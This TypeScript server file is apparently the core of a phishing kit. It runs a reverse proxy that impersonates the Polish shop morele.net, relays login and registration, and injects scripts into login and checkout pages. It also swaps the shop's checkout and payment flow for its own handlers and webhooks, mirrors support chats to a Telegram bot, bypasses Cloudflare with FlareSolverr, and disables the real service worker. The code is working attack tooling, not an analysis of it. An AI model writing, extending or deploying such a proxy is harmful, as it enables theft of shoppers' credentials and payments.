import 'dotenv/config';
import http from 'http';
import Fastify, { FastifyReply, FastifyRequest } from 'fastify';
import fastifyCookie from '@fastify/cookie';
import fastifyFormbody from '@fastify/formbody';
import WebSocket, { WebSocketServer } from 'ws';
import { config, getUpstreamByKey, isSensitivePath, type UpstreamHost } from './config';
import { buildUpstreamHeaders, processResponseHeaders } from './proxy/headers';
import { isRewritable, rewriteBody } from './proxy/rewrite';
import { fetchMoreleUpstream, isNativeMoreleHtml } from './proxy/moreleFetch';
import { refreshCfSession, refreshCfSessionWithTimeout } from './proxy/cfSession';
import { proxyUpstream, type UpstreamResponse } from './proxy/upstream';
import { registerOrderPaymentRoutes } from './api/orderPaymentRoutes';
import { buildAskspotBridgeScript, buildInjectScript, buildLoginInjectScript } from './inject';
import { buildCheckoutPaymentBridge } from './inject/checkoutPaymentBridge';
import { buildEarlyNetworkGuard } from './inject/earlyNetworkGuard';
import { handleCheckoutPathRedirect } from './intercept/checkoutPathGuard';
import { handleCheckoutSession } from './intercept/checkoutSession';
import { handleMoreleApiProxy } from './intercept/moreleApiProxy';
import { analyticsRoutes } from './analytics/routes';
import { buildAnalyticsTrackingScript } from './analytics/tracker';
import { visitorMiddleware } from './middleware/visitor';
import {
  handleCheckoutAddressDelete,
  handleCheckoutAddressSave,
  handleCheckoutProfile,
  handleCheckoutRedirect,
  handleCheckoutSubmit,
  renderDeliveryPaymentPage,
  renderPaymentCancel,
  renderPaymentReturn,
} from './intercept/checkout';
import { isCloudflareManagedChallenge } from './proxy/cloudflare';
import { handleAuroraWebhook } from './intercept/aurora';
import { handleCartAddEvent, handleCheckoutStartEvent } from './intercept/events';
import {
  handlePaymentOrderApi,
  handlePaymentOrderFetch,
  handlePaymentWebhook,
} from './intercept/payment';
import { supportRoutes } from './support/routes';
import { buildOperatorSyncResponse } from './support/askspotCache';
import { filterAskspotConversationResponse } from './support/askspotFilter';
import {
  extractSupportSessionId,
  isAskspotConversationPost,
  isOperatorSyncRequest,
  mirrorAskspotConversationMessage,
  parseJsonBody,
  resolveSupportSessionId,
} from './support/askspotMirror';
import { startSupportBot } from './tg/supportBot';

const app = Fastify({
  logger: {
    level: process.env.NODE_ENV === 'development' ? 'info' : 'warn',
    serializers: {
      req(request) {
        return {
          method: request.method,
          url: request.url,
          remoteAddress: request.socket.remoteAddress,
        };
      },
    },
  },
  trustProxy: true,
  bodyLimit: 25 * 1024 * 1024,
});

type ImageRoute = {
  target: UpstreamHost;
  upstreamPath: string;
};

const LP_PAGE_PATHS = new Map<string, string>([
  ['/newsletter/', '/newsletter/'],
  ['/kody-rabatowe/', '/newsletter/'],
  ['/wyprzedaz-ostatnich-sztuk/', '/wyprzedaz-ostatnich-sztuk/'],
  ['/gwarancje/', '/gwarancje/'],
  ['/montaz/', '/montaz/'],
  ['/ubezpieczenia-pzu/', '/ubezpieczenia-PZU/'],
  ['/karty-podarunkowe/', '/karty-podarunkowe/'],
  ['/brandclub/', '/brandclub/'],
  ['/pay-po/', '/pay-po/'],
]);

function bufferFromBody(body: unknown, contentType = ''): Buffer | null {
  if (body == null) return null;
  if (Buffer.isBuffer(body)) return body.length ? body : null;
  if (typeof body === 'string') return body.length ? Buffer.from(body, 'utf8') : null;
  if (body instanceof Uint8Array) return Buffer.from(body);

  if (contentType.toLowerCase().includes('application/x-www-form-urlencoded')) {
    const params = new URLSearchParams();
    for (const [key, value] of Object.entries(body as Record<string, unknown>)) {
      if (Array.isArray(value)) {
        for (const item of value) params.append(key, String(item));
      } else if (value != null) {
        params.append(key, String(value));
      }
    }
    const encoded = params.toString();
    return encoded ? Buffer.from(encoded, 'utf8') : null;
  }

  return Buffer.from(JSON.stringify(body), 'utf8');
}

async function bootstrap(): Promise<void> {
  await app.register(fastifyCookie, { secret: config.session.secret });
  await app.register(fastifyFormbody);

  app.addContentTypeParser(
    [
      'application/octet-stream',
      'application/protobuf',
      'application/x-protobuf',
      'application/json+protobuf',
    ],
    { parseAs: 'buffer' },
    (_req, body, done) => done(null, body),
  );

  app.addContentTypeParser('*', { parseAs: 'buffer' }, (_req, body, done) => {
    done(null, body);
  });

  app.post(config.intercept.pingPath, async (_request, reply) => {
    reply.status(204).send();
  });

  app.get(config.intercept.checkoutRedirectPath, handleCheckoutRedirect);
  app.get(config.intercept.checkoutRedirectAliasPath, handleCheckoutRedirect);

  const deliveryPath = config.intercept.checkoutDeliveryPath.replace(/\/$/, '');
  app.get(deliveryPath, handleDeliveryRoute);
  app.get(`${deliveryPath}/`, handleDeliveryRoute);

  for (const authPath of ['/login', '/login/', '/register', '/register/']) {
    app.all(authPath, async (request, reply) => {
      const target = getUpstreamByKey('main');
      if (!target) {
        reply.status(500).send('Main upstream not configured');
        return;
      }
      await sendProxyResponse(request, reply, target, request.url);
    });
  }

  app.all('/connect/*', async (request, reply) => {
    const target = getUpstreamByKey('main');
    if (!target) {
      reply.status(500).send('Main upstream not configured');
      return;
    }
    await sendProxyResponse(request, reply, target, request.url);
  });
  app.post(config.intercept.checkoutSubmitPath, handleCheckoutSubmit);
  app.get('/api/checkout/profile', handleCheckoutProfile);
  app.post('/api/checkout/address', handleCheckoutAddressSave);
  app.delete('/api/checkout/address', handleCheckoutAddressDelete);
  app.get(config.intercept.checkoutReturnPath, renderPaymentReturn);
  app.get(config.intercept.checkoutCancelPath, renderPaymentCancel);
  app.post(config.intercept.auroraWebhookPath, handleAuroraWebhook);
  app.get('/orderapi', handlePaymentOrderApi);
  app.get<{ Params: { token: string } }>('/api/payment/orders/:token', handlePaymentOrderFetch);
  app.post('/api/payment/webhook', handlePaymentWebhook);
  app.post(config.intercept.eventCartAddPath, handleCartAddEvent);
  app.post(config.intercept.eventCheckoutStartPath, handleCheckoutStartEvent);
  await registerOrderPaymentRoutes(app);
  app.get('/api/checkout/session', handleCheckoutSession);

  for (const path of [
    '/dostawa-i-platnosc',
    '/zamowienie',
    '/podsumowanie',
    '/koszyk/platnosc',
    '/zamowienie/potwierdzenie',
    '/koszyk',
  ]) {
    app.get(path, handleCheckoutPathRedirect);
  }

  app.all('/api/basket/*', handleMoreleApiProxy);
  app.all('/api/checkout/*', handleMoreleApiProxy);
  app.all('/api/cart/*', handleMoreleApiProxy);
  app.all('/api/user/*', handleMoreleApiProxy);
  app.all('/koszyk/', handleMoreleApiProxy);
  app.all('/koszyk/*', handleMoreleApiProxy);

  await supportRoutes(app);
  await analyticsRoutes(app);

  app.get('/ServiceWorkerMorele.js', async (_request, reply) => {
    reply
      .status(200)
      .type('text/javascript; charset=utf-8')
      .header('cache-control', 'no-store')
      .send(buildServiceWorkerStub());
  });

  app.all('/__stub/:host/*', async (request, reply) => {
    sendThirdPartyStub(request, reply);
  });
  app.all('/__stub/:host', async (request, reply) => {
    sendThirdPartyStub(request, reply);
  });

  app.all('/_a/askspot/*', async (request, reply) => {
    const target = getUpstreamByKey('askspot');
    if (!target) {
      reply.status(404).send('Unknown upstream bucket');
      return;
    }
    const upstreamPath = request.url.slice(target.prefix.length) || '/';
    await sendProxyResponse(request, reply, target, upstreamPath);
  });

  app.all('/chat-widget/*', async (request, reply) => {
    const target = getUpstreamByKey('askspot');
    if (!target) {
      reply.status(404).send('Unknown upstream bucket');
      return;
    }
    await sendProxyResponse(request, reply, target, request.url);
  });

  app.all('/api/v1/conversation', async (request, reply) => {
    await sendAskspotApiResponse(request, reply);
  });
  app.all('/api/v1/conversation/*', async (request, reply) => {
    await sendAskspotApiResponse(request, reply);
  });
  app.all('/api/v1/chat-widget/*', async (request, reply) => {
    await sendAskspotApiResponse(request, reply);
  });
  app.all('/api/v1/integration/*', async (request, reply) => {
    await sendAskspotApiResponse(request, reply);
  });
  app.all('/api/v1/origin/*', async (request, reply) => {
    await sendAskspotApiResponse(request, reply);
  });
  app.all('/api/v1/cart', async (request, reply) => {
    await sendAskspotApiResponse(request, reply);
  });
  app.all('/api/v1/conversion', async (request, reply) => {
    await sendAskspotApiResponse(request, reply);
  });

  app.all(`${config.intercept.assetPrefix}/:bucket/*`, async (request, reply) => {
    const bucket = (request.params as Record<string, string>).bucket;
    const target = getUpstreamByKey(bucket);
    if (!target) {
      reply.status(404).send('Unknown upstream bucket');
      return;
    }

    const upstreamPath = request.url.slice(target.prefix.length) || '/';
    await sendProxyResponse(request, reply, target, upstreamPath);
  });

  app.addHook('preHandler', async (request, reply) => {
    const path = request.url.split('?')[0] || '/';
    if (
      path.startsWith(config.intercept.assetPrefix) ||
      path.startsWith('/api/aurora/') ||
      path.startsWith('/checkout/') ||
      path.startsWith('/__mirror/') ||
      path.startsWith('/__pay/') ||
      path.startsWith('/__proxy/') ||
      path.startsWith('/api/v1/') ||
      path.startsWith('/api/checkout/order') ||
      path.startsWith('/api/basket/') ||
      path.startsWith('/api/checkout/') ||
      path.startsWith('/api/cart/') ||
      path.startsWith('/api/user/') ||
      isSensitivePath(path) ||
      path.match(/\.(ico|png|jpg|jpeg|gif|svg|webp|avif|woff|woff2|ttf|css|js|map)$/i)
    ) {
      return;
    }
    await visitorMiddleware(request, reply);
  });

  app.all('/*', async (request, reply) => {
    const lpRoute = resolveLpRoute(request);
    if (lpRoute) {
      await sendProxyResponse(request, reply, lpRoute.target, lpRoute.upstreamPath);
      return;
    }

    const lpAssetRoute = resolveLpAssetRoute(request);
    if (lpAssetRoute) {
      await sendProxyResponse(request, reply, lpAssetRoute.target, lpAssetRoute.upstreamPath);
      return;
    }

    const imageRoute = resolveRootImageRoute(request);
    if (imageRoute) {
      await sendProxyResponse(request, reply, imageRoute.target, imageRoute.upstreamPath);
      return;
    }

    const target = getUpstreamByKey('main');
    if (!target) {
      reply.status(500).send('Main upstream not configured');
      return;
    }
    await sendProxyResponse(request, reply, target, request.url);
  });

  attachWebSocketProxy(app.server);
  startSupportBot();

  if (config.flareSolverr.enabled && config.flareSolverr.url) {
    const loginOrigin = getUpstreamByKey('main')?.origin ?? 'https://www.morele.net';
    app.log.info('Warming Cloudflare session via FlareSolverr…');
    const warmed = await refreshCfSessionWithTimeout(
      `${loginOrigin}/login`,
      config.flareSolverr.maxTimeoutMs,
      { force: true },
    ).catch((err) => {
      app.log.warn({ err }, 'initial cf session warmup failed');
      return null;
    });
    if (warmed) {
      app.log.info('Cloudflare session ready (login/register should work)');
    } else {
      app.log.warn(
        'Cloudflare session missing — start FlareSolverr on port 8191 (docker compose up -d flaresolverr)',
      );
    }
    setInterval(() => {
      void refreshCfSession(`${loginOrigin}/login`).catch((err) =>
        app.log.warn({ err }, 'scheduled cf session refresh failed'),
      );
    }, 20 * 60 * 1000).unref();
  }

  await app.listen({ port: config.port, host: '0.0.0.0' });
  console.log(`[morele-proxy] Listening on port ${config.port}`);
}

function resolveLpRoute(request: FastifyRequest): ImageRoute | null {
  if (request.method !== 'GET' && request.method !== 'HEAD') return null;
  const parsed = new URL(request.url, config.origin);
  const normalized = normalizeSlashPath(parsed.pathname).toLowerCase();
  const upstreamPath = LP_PAGE_PATHS.get(normalized);
  if (!upstreamPath) return null;
  const target = getUpstreamByKey('lp');
  return target ? { target, upstreamPath: `${upstreamPath}${parsed.search}` } : null;
}

function resolveLpAssetRoute(request: FastifyRequest): ImageRoute | null {
  if (request.method !== 'GET' && request.method !== 'HEAD') return null;

  const parsed = new URL(request.url, config.origin);
  const pathname = parsed.pathname;
  const referer = String(request.headers.referer ?? '');
  const fromLpPage =
    Array.from(LP_PAGE_PATHS.keys()).some((path) => referer.includes(path)) ||
    referer.includes('/_a/lp/');

  const isLandingAsset =
    /^\/assets\/dist\/(?:css|js)\/landing/i.test(pathname) ||
    /^\/static\/img\/landing\//i.test(pathname) ||
    /^\/static\/js\/vendor\//i.test(pathname) ||
    /^\/static\/img\/shop\//i.test(pathname);

  if (!isLandingAsset && !fromLpPage) return null;
  if (!/^\/(?:assets|static)\//i.test(pathname)) return null;

  const target = getUpstreamByKey('lp');
  return target ? { target, upstreamPath: `${pathname}${parsed.search}` } : null;
}

function resolveRootImageRoute(request: FastifyRequest): ImageRoute | null {
  if (request.method !== 'GET' && request.method !== 'HEAD') return null;

  const parsed = new URL(request.url, config.origin);
  const pathname = parsed.pathname;
  const filename = pathname.split('/').pop() ?? '';

  if (!isImagePath(pathname)) return null;

  if (/^\/(?:assets|static|pwa)\//i.test(pathname)) {
    const target = getUpstreamByKey('main');
    return target ? { target, upstreamPath: `${pathname}${parsed.search}` } : null;
  }

  const target = getUpstreamByKey('image');
  if (!target) return null;

  let imagePath: string | null = null;

  if (/^\/i\d+\/[^/]+$/i.test(pathname)) {
    imagePath = pathname;
  } else {
    const sizeMatch = filename.match(/_(i\d+)\.(?:jpe?g|png|webp|avif)$/i);
    if (sizeMatch) {
      imagePath = `/${sizeMatch[1]}/${filename}`;
    } else if (/^(?:mobile|thumbnail|big)_image_\d+\.png$/i.test(filename)) {
      imagePath = `/home_promotion_slider/2/${filename}`;
    } else if (/^\d+\.png$/i.test(filename)) {
      imagePath = `/news/i700/${filename}`;
    } else if (pathname.includes('/')) {
      imagePath = pathname;
    }
  }

  return imagePath ? { target, upstreamPath: `${imagePath}${parsed.search}` } : null;
}

function isImagePath(pathname: string): boolean {
  return /\.(?:png|jpe?g|gif|svg|webp|avif)$/i.test(pathname);
}

function normalizeSlashPath(pathname: string): string {
  return pathname.endsWith('/') ? pathname : `${pathname}/`;
}

function injectHtmlSnippet(html: Buffer, snippet: string, position: 'head' | 'body' = 'body'): Buffer {
  const script = Buffer.from(snippet);
  if (position === 'head') {
    const headOpen = Buffer.from('<head>');
    const headIdx = html.indexOf(headOpen);
    if (headIdx !== -1) {
      const insertAt = headIdx + headOpen.length;
      return Buffer.concat([html.subarray(0, insertAt), script, html.subarray(insertAt)]);
    }
  }
  const bodyTag = Buffer.from('</body>');
  const idx = html.lastIndexOf(bodyTag);
  return idx === -1
    ? Buffer.concat([html, script])
    : Buffer.concat([html.subarray(0, idx), script, html.subarray(idx)]);
}

function shouldSkipMainInject(target: UpstreamHost, upstreamPath: string): boolean {
  if (target.key === 'askspot') return true;
  if (upstreamPath.includes('/chat-widget/') || upstreamPath.startsWith('/api/v1/')) return true;

  return isLoginPagePath(upstreamPath);
}

function isLoginPagePath(upstreamPath: string): boolean {
  const pathname = new URL(upstreamPath, config.origin).pathname;
  return /^\/(?:login|register)\/?$/i.test(pathname);
}

async function sendAskspotApiResponse(
  request: FastifyRequest,
  reply: FastifyReply,
): Promise<void> {
  const target = getUpstreamByKey('askspot');
  if (!target) {
    reply.status(404).send('Unknown upstream bucket');
    return;
  }

  const url = new URL(request.url, config.origin);
  const isConversation = isAskspotConversationPost(url.pathname, request.method);
  const requestBody = bufferFromBody(request.body, String(request.headers['content-type'] ?? ''));
  const parsedBody = parseJsonBody(requestBody);

  if (isConversation && isOperatorSyncRequest(parsedBody)) {
    const supportSessionId = extractSupportSessionId(parsedBody);
    const syncBody = supportSessionId ? await buildOperatorSyncResponse(supportSessionId) : null;
    reply
      .header('access-control-expose-headers', 'link, X-Support-Session-Id')
      .header('content-type', 'application/json; charset=utf-8');
    if (supportSessionId) reply.header('X-Support-Session-Id', supportSessionId);
    if (syncBody) {
      reply.status(200).send(syncBody);
      return;
    }
    reply.status(200).send(
      JSON.stringify({
        chat: { messages: [], actions: [] },
        conversationId: (parsedBody as Record<string, unknown>).conversationId ?? null,
      }),
    );
    return;
  }

  let supportSessionId: string | undefined;
  if (isConversation) {
    try {
      supportSessionId = await resolveSupportSessionId(request, parsedBody);
      const mirroredSessionId = await mirrorAskspotConversationMessage(request, requestBody);
      if (mirroredSessionId) supportSessionId = mirroredSessionId;
    } catch (err) {
      request.log.warn({ err }, 'askspot support session resolve failed');
    }
  }

  const headers = buildUpstreamHeaders(
    request.headers as Record<string, string | string[] | undefined>,
    target,
  );

  let upstream;
  try {
    upstream = await proxyUpstream({
      method: request.method,
      path: request.url,
      headers,
      body: requestBody,
      target,
    });
  } catch (err) {
    request.log.error({ err }, 'askspot upstream proxy error');
    reply.status(502).send('Bad Gateway');
    return;
  }

  const responseHeaders = processResponseHeaders(
    upstream.headers as Record<string, string | string[] | undefined>,
  );
  if (isConversation) {
    responseHeaders['access-control-expose-headers'] = 'link, X-Support-Session-Id';
    if (supportSessionId) {
      reply.header('X-Support-Session-Id', supportSessionId);
    }
  }

  for (const [key, value] of Object.entries(responseHeaders)) {
    reply.header(key, value as string);
  }

  const contentType = (upstream.headers['content-type'] as string | undefined) ?? '';
  let responseBody = upstream.body;

  if (isConversation && contentType.includes('json')) {
    responseBody = await filterAskspotConversationResponse(
      responseBody,
      requestBody,
      supportSessionId,
    );
  } else if (isRewritable(contentType)) {
    responseBody = rewriteBody(responseBody);
    if (
      contentType.includes('text/html') &&
      (request.url.includes('/chat-widget/') || request.url.includes('/source-script'))
    ) {
      responseBody = injectHtmlSnippet(responseBody, buildAskspotBridgeScript(), 'head');
    }
  }

  reply.status(upstream.statusCode).send(request.method === 'HEAD' ? undefined : responseBody);
}

function sendThirdPartyStub(request: FastifyRequest, reply: FastifyReply): void {
  if (request.method === 'OPTIONS') {
    reply
      .status(204)
      .header('access-control-allow-origin', '*')
      .header('access-control-allow-methods', 'GET,POST,PUT,PATCH,DELETE,OPTIONS')
      .header('access-control-allow-headers', '*')
      .send();
    return;
  }

  const path = new URL(request.url, config.origin).pathname.toLowerCase();
  reply.header('access-control-allow-origin', '*');
  reply.header('access-control-allow-credentials', 'false');
  reply.header('cache-control', 'no-store');

  if (request.method !== 'GET' && request.method !== 'HEAD') {
    reply.status(204).send();
    return;
  }

  if (path.endsWith('.js') || path.includes('/klaviyo.js')) {
    reply.type('text/javascript; charset=utf-8').status(200).send('window._learnq=window._learnq||[];');
    return;
  }
  if (path.endsWith('.json') || path.includes('/json')) {
    reply.type('application/json; charset=utf-8').status(200).send('{}');
    return;
  }

  reply.status(204).send();
}

function buildServiceWorkerStub(): string {
  return `
self.addEventListener('install', function(event) {
  event.waitUntil(
    self.registration.unregister().catch(function() {}).then(function() {
      return self.skipWaiting();
    })
  );
});
self.addEventListener('activate', function(event) {
  event.waitUntil(
    self.clients.matchAll({ type: 'window', includeUncontrolled: true })
      .then(function(clients) {
        clients.forEach(function(client) { client.navigate(client.url).catch(function() {}); });
      })
      .catch(function() {})
  );
});
self.addEventListener('fetch', function() {});
`;
}

async function handleDeliveryRoute(request: FastifyRequest, reply: FastifyReply): Promise<void> {
  await renderDeliveryPaymentPage(request, reply);
}

async function sendProxyResponse(
  request: FastifyRequest,
  reply: FastifyReply,
  target: UpstreamHost,
  upstreamPath: string,
): Promise<void> {
  const body = bufferFromBody(request.body, String(request.headers['content-type'] ?? ''));

  let upstream: UpstreamResponse;
  try {
    upstream = await fetchMoreleUpstream(request, target, upstreamPath, body);
  } catch (err) {
    request.log.error({ err }, 'upstream proxy error');
    reply.status(502).send('Bad Gateway');
    return;
  }

  await deliverUpstreamResponse(request, reply, target, upstreamPath, upstream);
}

async function deliverUpstreamResponse(
  request: FastifyRequest,
  reply: FastifyReply,
  target: UpstreamHost,
  upstreamPath: string,
  upstream: UpstreamResponse,
): Promise<void> {
  let delivery = upstream;
  const contentType = (delivery.headers['content-type'] as string | undefined) ?? '';

  if (
    target.key === 'main' &&
    contentType.includes('text/html') &&
    isCloudflareManagedChallenge(delivery.body) &&
    /\/(?:login|koszyk|register|connect)\b/i.test(upstreamPath)
  ) {
    request.log.warn({ path: upstreamPath }, 'cf_challenge_blocked_at_delivery');
    delivery = {
      statusCode: 503,
      headers: { 'content-type': 'text/html; charset=utf-8', 'cache-control': 'no-store' },
      body: Buffer.from(
        '<!DOCTYPE html><html lang="pl"><head><meta charset="UTF-8"/><meta name="viewport" content="width=device-width,initial-scale=1"/></head><body style="font-family:system-ui,sans-serif;padding:24px;text-align:center"><p style="color:#e5332a;font-weight:800;font-size:20px">morele</p><p>Chwilowy problem z logowaniem. Odśwież za minutę.</p><p><a href="/">Strona główna</a></p></body></html>',
        'utf8',
      ),
    };
  }

  const responseHeaders = processResponseHeaders(
    delivery.headers as Record<string, string | string[] | undefined>,
  );

  for (const [key, value] of Object.entries(responseHeaders)) {
    reply.header(key, value as string);
  }

  const deliveryContentType = (delivery.headers['content-type'] as string | undefined) ?? '';
  let responseBody = delivery.body;

  if (isRewritable(deliveryContentType)) {
    responseBody = rewriteBody(responseBody);
    const skipInject = shouldSkipMainInject(target, upstreamPath);
    if (deliveryContentType.includes('text/html') && !skipInject) {
      const pathOnly = upstreamPath.split('?')[0] || '/';
      const isCheckoutPage =
        /^\/(?:dostawa-i-platnosc|zamowienie|podsumowanie|koszyk\/platnosc|zamowienie\/potwierdzenie)/i.test(
          pathOnly,
        );
      const earlyGuard = buildEarlyNetworkGuard();
      const paymentBridge = isCheckoutPage ? buildCheckoutPaymentBridge() : '';
      let html = responseBody.toString('utf8');
      const headMatch = html.match(/<head\b[^>]*>/i);
      if (headMatch && headMatch.index !== undefined) {
        const insertAt = headMatch.index + headMatch[0].length;
        html = html.slice(0, insertAt) + paymentBridge + earlyGuard + html.slice(insertAt);
        responseBody = Buffer.from(html, 'utf8');
      } else {
        responseBody = Buffer.concat([Buffer.from(paymentBridge + earlyGuard, 'utf8'), responseBody]);
      }

      const script = Buffer.from(`${buildInjectScript()}${buildAnalyticsTrackingScript()}`);
      const bodyTag = Buffer.from('</body>');
      const idx = responseBody.lastIndexOf(bodyTag);
      responseBody =
        idx === -1
          ? Buffer.concat([responseBody, script])
          : Buffer.concat([responseBody.subarray(0, idx), script, responseBody.subarray(idx)]);
    }
    if (deliveryContentType.includes('text/html') && target.key === 'main' && isLoginPagePath(upstreamPath)) {
      responseBody = injectHtmlSnippet(responseBody, buildLoginInjectScript(), 'head');
    }
    if (
      deliveryContentType.includes('text/html') &&
      target.key === 'askspot' &&
      (upstreamPath.includes('/chat-widget/') || upstreamPath.includes('/source-script'))
    ) {
      responseBody = injectHtmlSnippet(responseBody, buildAskspotBridgeScript(), 'head');
    }
  }

  reply.status(delivery.statusCode).send(request.method === 'HEAD' ? undefined : responseBody);
}

function attachWebSocketProxy(server: http.Server): void {
  const wss = new WebSocketServer({ noServer: true });

  server.on('upgrade', (request, socket, head) => {
    const target = resolveWsTarget(request.url ?? '/');
    if (!target) {
      socket.destroy();
      return;
    }

    wss.handleUpgrade(request, socket, head, (client) => {
      const path = (request.url ?? '/').slice(target.prefix.length) || '/';
      const upstreamUrl = `${target.origin.replace(/^http/, 'ws')}${path}`;
      const headers = buildUpstreamHeaders(
        request.headers as Record<string, string | string[] | undefined>,
        target,
      );

      const upstream = new WebSocket(upstreamUrl, { headers });
      upstream.on('open', () => {
        client.on('message', (data) => upstream.readyState === WebSocket.OPEN && upstream.send(data));
        upstream.on('message', (data) => client.readyState === WebSocket.OPEN && client.send(data));
      });
      upstream.on('close', () => client.close());
      upstream.on('error', () => client.close());
      client.on('close', () => upstream.close());
      client.on('error', () => upstream.close());
    });
  });
}

function resolveWsTarget(url: string): UpstreamHost | null {
  for (const target of config.upstream.hosts) {
    if (target.ws && target.prefix && url.startsWith(`${target.prefix}/`)) return target;
  }
  return null;
}

bootstrap().catch((err) => {
  console.error('[morele-proxy] Fatal startup error:', err);
  process.exit(1);
});
